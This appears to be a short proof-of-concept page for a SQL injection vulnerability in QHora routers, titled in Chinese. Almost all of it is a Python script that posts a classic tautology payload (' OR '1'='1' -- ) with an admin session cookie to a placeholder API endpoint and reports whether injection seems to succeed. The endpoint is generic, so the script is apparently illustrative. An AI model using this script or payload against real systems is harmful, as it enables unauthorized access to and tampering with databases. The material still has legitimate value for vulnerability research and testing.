CVE-2025-62846 QHora SQL注入漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2025-62846 import requests target_url = "http://<TARGET_IP>/api/vulnerable_endpoint" admin_cookie = "<ADMIN_SESSION_COOKIE>" # Requires PR:H # Payload attempts to inject SQL to check for vulnerability payload = "' OR '1'='1' -- " headers = { "Cookie": f"session={admin_cookie}", "Content-Type": "application/json" } data = { "id": payload } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Potential SQL Injection detected.") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")